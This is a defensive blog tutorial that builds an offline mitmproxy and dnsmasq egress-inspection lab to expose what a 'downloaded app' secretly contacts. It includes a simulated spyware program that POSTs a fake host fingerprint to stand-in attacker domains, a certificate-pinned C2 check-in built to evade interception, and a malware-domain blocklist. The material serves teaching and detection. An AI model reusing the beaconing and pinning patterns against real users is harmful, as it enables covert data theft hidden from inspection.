~/tech-with-ugur

Is That App You Just Installed Phoning Home? Build a mitmproxy egress gateway that finds out

2026-08-20 cybersecurity

Run the companion lab

You download a free utility. It installs, it opens, it does the thing it promised. What you can’t see is the second conversation it’s having: the update check to the vendor, sure — but also a POST to a domain the vendor doesn’t own, and one more connection that nobody’s proxy can open.

That shape is the whole story of this summer’s trojanized-installer wave. QuickFox VPN installers shipped backdoored for a year, phoning home to a lookalike domain. Fake download sites for popular apps handed out installers that took over the machine. A fake 7-Zip campaign spread across 230+ lookalike domains and turned home PCs into residential proxy nodes. In every case the software worked — and in every case the tell was identical: the installed app quietly contacting infrastructure the vendor had nothing to do with.

“What is this binary talking to?” is therefore a defensive skill worth having, and you can answer it with open-source parts. This lab builds an egress-inspection gateway — mitmproxy in transparent mode plus a DNS-logging dnsmasq — and routes a deliberately uncooperative “downloaded app” through it without the app being configured to use a proxy. An analyzer then correlates the three layers of evidence the gateway produces (DNS, TLS SNI, decrypted HTTP), checks every hostname against a threat-intel blocklist, and prints a per-domain verdict. Everything runs offline in Docker; nothing reaches the real internet, and the only “secret” that leaks is an obviously fake canary. Every code block below is copied verbatim from the lab.

Three layers of egress visibility

Before the plumbing, the mental model. When an app reaches out over HTTPS, there are three places you can stand and watch, and each one sees something different:

LayerProduced byWhat it tells youWhat it can’t
DNSdnsmasq log-queriesevery hostname the app looked upwhether it connected, or what it sent
TLS SNImitmproxy tls_clienthello hookevery hostname the app opened a TLS connection to, even ones it later refusedthe request contents
Decrypted HTTPmitmproxy request hookmethod, path, headers, full bodynothing — but only works where the app trusts the gateway CA

The layers fail independently, which is the point of collecting all three. An app can skip DNS by connecting to a hard-coded IP — SNI still names it. It can pin its certificate so the proxy can’t decrypt — DNS and SNI still name it. The deeper layers tell you what left the machine; the shallower ones always tell you where it went. Hold onto that distinction; the pinned connection at the end of this post lives entirely on it.

The suspect

The “freshly downloaded app” is a small Node.js program that does four things in order, each in its own file so you can see how little code the bad behaviour takes.

labs/lab-app-egress-audit/suspect-app/src/index.ts:

// The "freshly downloaded app". Four steps, in order:
//   1. a legitimate update check (the cover story)     -> egress/updateCheck.ts
//   2. build a host fingerprint (fake, see SAFETY)     -> fingerprint.ts
//   3. covertly POST it to two attacker domains        -> egress/beacon.ts
//   4. a certificate-pinned C2 check-in that refuses
//      to talk through any interceptor                 -> egress/pinned.ts
// Steps 2-4 are the suspicious behaviour the gateway is meant to expose.
async function main(): Promise<void> {
  const cfg = loadConfig(process.env);
  const fingerprint = buildFingerprint();

  await checkForUpdate(cfg, logger);
  for (const url of cfg.beaconUrls) {
    await sendBeacon(url, fingerprint, logger);
  }
  await pinnedCheckin(cfg, logger);
  # ...
}

Step 1 is the cover story — GET https://updates.goodvendor.lab/version, which any honest app does. Step 2 is the data spyware harvests about a machine: hostname, user, OS build. In the lab it is four string literals and reads nothing from your host.

labs/lab-app-egress-audit/suspect-app/src/fingerprint.ts:

export function buildFingerprint(): HostFingerprint {
  return {
    host: "LAB-CANARY-NOT-A-REAL-HOST",
    user: "labuser",
    osBuild: "lab-os-0",
    fingerprint: "FAKE-FP-000-lab-only",
  };
}

Step 3 is the exfiltration: an ordinary HTTPS POST of that object to two domains with innocent-sounding names, cdn-metrics.tracklab.lab and telemetry.adnexus.lab. One detail makes it faithful to the real thing rather than a caricature:

labs/lab-app-egress-audit/suspect-app/src/egress/beacon.ts:

export async function sendBeacon(
  url: string,
  fingerprint: HostFingerprint,
  logger: Logger,
): Promise<void> {
  const payload = JSON.stringify(fingerprint);
  try {
    logger.info({ url }, "Beaconing host fingerprint...");
    await post(url, payload);
    logger.info({ url }, "Beaconing host fingerprint succeeded.");
  } catch (err) {
    // Spyware never lets itself crash the host application — that would get
    // it noticed. Swallow the failure and try the next sink. Compare with
    // updateCheck.ts, which throws on failure like honest code does.
    logger.warn({ err, url }, "Beaconing host fingerprint failed.");
  }
}

The beacon swallows its own errors. Real spyware never crashes the application it rides in — a crash gets noticed. The update check, by contrast, throws loudly on failure like honest code does. Step 4, the pinned connection, gets its own section below.

Build the gateway

The core of the lab is one container built from the official mitmproxy/mitmproxy image with iptables added. Its entrypoint does two things: bend traffic into mitmproxy, then run mitmproxy in a mode that accepts bent traffic.

labs/lab-app-egress-audit/gateway/entrypoint.sh:

MITM_UID="$(id -u mitmproxy)"
iptables -t nat -A OUTPUT -p tcp -m owner --uid-owner "$MITM_UID" -j RETURN
iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080

# ...

exec runuser -u mitmproxy -- mitmdump \
  --mode transparent \
  --showhost \
  --ssl-insecure \
  --set connection_strategy=lazy \
  --set confdir=/certs \
  -s /addon/capture.py \
  -q

Read the rules top to bottom, the way the kernel does. The first exempts packets owned by the mitmproxy user — those are mitmproxy’s own upstream connections to the real server, which also go to port 443; without the exemption they’d be redirected back into mitmproxy forever. That rule is why the entrypoint drops privileges with runuser instead of running as root. The second and third rules rewrite the destination of every other TCP packet bound for port 80 or 443 to local port 8080, where mitmproxy listens. The sending process is not told. Its socket still believes it is connected to the original host.

That is what --mode transparent is for. Normally a client is configured to use a proxy and sends it CONNECT host:443, so the proxy knows where traffic is meant to go. An uncooperative app won’t do that. In transparent mode mitmproxy accepts connections iptables has silently redirected to it and recovers the original destination from the kernel via SO_ORIGINAL_DST.

Two flags deserve a word. --set confdir=/certs puts the CA mitmproxy generates on first start onto a shared volume, so the suspect app can be made to trust it. And connection_strategy=lazy tells mitmproxy to finish the TLS handshake with the client before contacting upstream. That ordering is what guarantees we record the SNI and present our forged certificate even to a client that is about to refuse it — without it, the pinned connection would never reach our hooks at all.

Routing an app through it that was never told about a proxy

The proposal’s plan was a separate gateway container that the app default-routes through, with a PREROUTING redirect on the gateway. On Docker Desktop that didn’t deliver: packets the app routed to the gateway, destined for another container, never reached the gateway’s PREROUTING chain at all. So the lab ships the pattern mitmproxy’s own documentation uses for local redirection, which needs no inter-container routing. Two lines of compose:

labs/lab-app-egress-audit/docker-compose.yml:

  suspect-app:
    build: ./suspect-app
    network_mode: "service:gateway"
    environment:
      DNS_IP: 10.10.0.3
    volumes:
      - certs:/certs
    depends_on:
      dns:
        condition: service_healthy
      webhost:
        condition: service_healthy
      gateway:
        condition: service_healthy

network_mode: service:gateway puts the suspect app in the same network namespace as the gateway: same interfaces, same IP, same routing table — and, crucially, the same iptables rules. When the app calls connect(), the packet is born inside the gateway’s namespace, hits nat/OUTPUT, and is redirected. There is no second hop and no proxy setting to discover.

A container that borrows another’s namespace can’t declare its own networks or dns, and loses Docker’s embedded DNS for service names. So the app’s entrypoint does the remaining two pieces of setup by hand:

labs/lab-app-egress-audit/suspect-app/entrypoint.sh:

echo "nameserver ${DNS_IP:-10.10.0.3}" > /etc/resolv.conf

# ...

export NODE_EXTRA_CA_CERTS="${MITM_CA_PATH:-/certs/mitmproxy-ca-cert.pem}"

exec npm start

The first line points the resolver at dnsmasq, which answers every *.lab name with the webhost’s IP and writes every query to a log on a shared volume. That’s the DNS layer.

labs/lab-app-egress-audit/dns/dnsmasq.conf:

no-resolv
no-hosts

# ...

address=/lab/10.10.0.10

# ...

log-queries
log-facility=/var/log/dns/queries.log

The second line adds the gateway’s CA to Node’s trust store. This is the lab equivalent of the step a real egress gateway needs in a fleet — pushing the proxy CA out via MDM or group policy. Without it, every connection would refuse the forged certificate and you would only ever see SNI. Note what the entrypoint does not do: set HTTPS_PROXY, touch any app config, or change the app’s code. From inside the app, everything looks like a direct connection.

Catching it in the act

mitmproxy’s addon API hands you lifecycle events; the gateway loads one Python file with three handlers, one per visibility layer, each appending a JSON line to a capture file the analyzer reads later.

labs/lab-app-egress-audit/gateway/capture.py:

class Capture:
    def __init__(self):
        # tls_failed_client only identifies the client connection, not the
        # hostname, so remember each connection's SNI to attribute failures.
        self._sni_by_client = {}

    def tls_clienthello(self, data):
        sni = data.client_hello.sni
        self._sni_by_client[data.context.client.id] = sni
        _write({"event": "clienthello", "sni": sni})

    def request(self, flow):
        # Reached only if the client completed TLS with us, i.e. trusted our CA.
        # pretty_host prefers the Host header / SNI over the raw destination IP.
        _write(
            {
                "event": "request",
                "host": flow.request.pretty_host,
                "method": flow.request.method,
                "path": flow.request.path,
                "body": flow.request.get_text(strict=False),
            }
        )

    def tls_failed_client(self, data):
        # The client saw our forged cert and hung up: the signature of pinning.
        sni = self._sni_by_client.get(data.context.client.id)
        _write({"event": "tls_failed_client", "sni": sni})

Follow the second beacon through it. Node looks up telemetry.adnexus.lab; dnsmasq logs query[A] telemetry.adnexus.lab from 10.10.0.2 and answers with the webhost’s address. Node opens TCP to port 443; the kernel rewrites the destination to mitmproxy. Node sends a ClientHello with SNI=telemetry.adnexus.lab; tls_clienthello fires and the SNI is written down. mitmproxy mints a leaf certificate for that name signed by its CA and completes the handshake — Node checks the chain against a trust store that now includes that CA, and accepts. The app sends POST /collect with the fingerprint as its body; request fires and the full plaintext, body included, is written down. Only then does mitmproxy open its own connection to the webhost — as the mitmproxy user, so the owner rule lets it through — relay the {"ok":true}, and the app logs that its beacon succeeded. None the wiser.

The covert POST, decrypted, ends up in the report as a payload string that contains FAKE-FP-000-lab-only. That’s the undeniable part of the finding: not just that the app talked to a bad domain, but what it said.

The pinned connection: when you can’t see inside

Now the fourth step. The app reads the vendor’s real certificate from a shared volume, computes its SHA-256 fingerprint, and hands Node a custom checkServerIdentity callback.

labs/lab-app-egress-audit/suspect-app/src/egress/pinned.ts:

export function makeServerIdentityCheck(
  expectedFingerprint: string,
): (host: string, cert: { fingerprint256?: string }) => Error | undefined {
  return (_host, cert) => {
    if (cert.fingerprint256 && cert.fingerprint256 === expectedFingerprint) {
      return undefined;
    }
    return new Error(
      `certificate pin mismatch: expected ${expectedFingerprint}, got ${cert.fingerprint256 ?? "none"}`,
    );
  };
}

export async function pinnedCheckin(cfg: SuspectConfig, logger: Logger): Promise<void> {
  const expected = fingerprint256(readFileSync(cfg.pinnedCertPath, "utf8"));
  const check = makeServerIdentityCheck(expected);
  try {
    logger.info({ url: cfg.pinnedUrl }, "Opening pinned connection...");
    await new Promise<void>((resolve, reject) => {
      const req = https.request(
        cfg.pinnedUrl,
        { method: "POST", checkServerIdentity: check, timeout: 5000 },
        # ...
      );
      # ...
    });
    logger.warn({ url: cfg.pinnedUrl }, "Pinned connection succeeded (no interception).");
  } catch (err) {
    // A real pinned C2 client stays quiet when it cannot verify its server:
    // from the malware's point of view, a failed pin means "someone is
    // watching", so it backs off rather than reveal itself. (Hence success is
    // logged at `warn` above and failure at `info` here.)
    logger.info({ err, url: cfg.pinnedUrl }, "Pinned connection refused the presented certificate.");
  }
}

Node calls that callback during the handshake with whatever certificate the server presented. Under interception, the “server” is mitmproxy presenting a forged leaf. The chain would validate — the CA is trusted — but the fingerprint doesn’t match the webhost’s real certificate, so the callback returns an Error, Node aborts the handshake, and no HTTP request is ever sent. The private key that would let mitmproxy forge a matching certificate never leaves the webhost container; that is what makes the pin meaningful.

Malware authors pin for exactly this reason: so network defenders cannot read the C2 conversation. And on the gateway, it looks like this: tls_clienthello fired (we have the SNI: pin.evil-c2.lab), then tls_failed_client fired (the client hung up on our certificate), and request never did. The addon’s little _sni_by_client map is the bridge that lets the report say “pin.evil-c2.lab was contacted and refused our certificate” rather than “some connection failed.”

Here is the thing to internalize: that is not a dead end. Pinning defeats payload inspection. It does nothing to hide where the app connected — the DNS log and the SNI both name the destination — and actively refusing inspection is itself unusual behaviour for a “free utility.” An opaque connection to an unknown domain is a finding.

Verdicts at scale

Observing answers “what did the app talk to?” A threat-intel feed answers “is that bad?” The lab commits a snapshot in the hosts format that feeds like URLhaus publish — <ip> <hostname> per line, the syntax of /etc/hosts, so the file can be dropped onto a Pi-hole to sinkhole everything on it.

labs/lab-app-egress-audit/threat-intel/blocklist.hosts:

# --- seeded lab malware infrastructure ---
0.0.0.0 cdn-metrics.tracklab.lab
0.0.0.0 telemetry.adnexus.lab
0.0.0.0 pin.evil-c2.lab
# ...

Note what’s not on it: updates.goodvendor.lab. The analyzer reads the DNS log, the capture file, and the blocklist — all read-only, and it never touches the network — and builds one row per hostname seen in either DNS or the capture.

labs/lab-app-egress-audit/analyzer/src/report.ts:

// The deepest visibility layer reached for a host: a decrypted request beats
// a bare SNI, which beats a name that was merely looked up in DNS.
function layerOf(ev: HostEvidence | undefined): DomainVerdict["evidenceLayer"] {
  if (ev?.decrypted) return "decrypted HTTP";
  if (ev?.sniSeen) return "SNI-only";
  return "DNS-only";
}

# ...

  for (const fqdn of fqdns) {
    const ev = evidence.get(fqdn);
    domains.push({
      fqdn,
      verdict: isBlocked(fqdn, blocklist) ? "malicious" : "clean",
      evidenceLayer: layerOf(ev),
      opaque: Boolean(ev && !ev.decrypted && ev.tlsFailed),
      ...(ev?.payload ? { payload: ev.payload } : {}),
    });
  }

The verdict comes purely from the blocklist, by exact FQDN, case-insensitive. The evidence layer says how deep we got. And opaque is the pinning flag: we saw the SNI, the client then aborted the handshake, and nothing was ever decrypted. Run ./e2e.sh and the analyzer prints this:

FQDNVerdictEvidence layerWhat it means
updates.goodvendor.labcleandecrypted HTTPthe legit update check — visible and benign
cdn-metrics.tracklab.labmaliciousdecrypted HTTPcovert beacon, host fingerprint captured in full
telemetry.adnexus.labmaliciousdecrypted HTTPsecond covert beacon, same fingerprint payload
pin.evil-c2.labmaliciousSNI-only (opaque)certificate-pinned — we see where, not what

Four rows, four different stories. The beacons are caught by content and by destination — either alone would be enough, but the decrypted payload is what tells you what was stolen. The C2 host is caught by destination alone. The vendor is present and clean, so you see the app’s full footprint rather than just the bad parts. And the e2e.sh gate asserts all of it deterministically, including that nothing outside the seeded three is flagged — a guard against false positives, not just misses.

What carries over

The lab is a teaching rig, but the technique is the real one:

Two honest limits. First, this is an audit, not an enforcement point — nothing is blocked. Turning it into one is a small step (mitmproxy’s request hook can kill a blocklisted flow; dnsmasq can sinkhole a name with one address= line), and it’s a natural follow-up. Second, the layers have a floor. An app that uses Encrypted Client Hello hides its SNI, and one that also resolves over DNS-over-HTTPS hides its lookups — at which point you are down to destination IPs and traffic volumes, which is a real and current limit of this technique. But for the trojanized-installer class that made the news this summer — apps that beacon to lookalike domains over ordinary HTTPS — a gateway like this one shows you exactly what your new free tool is saying, and to whom. The full build is in the lab README.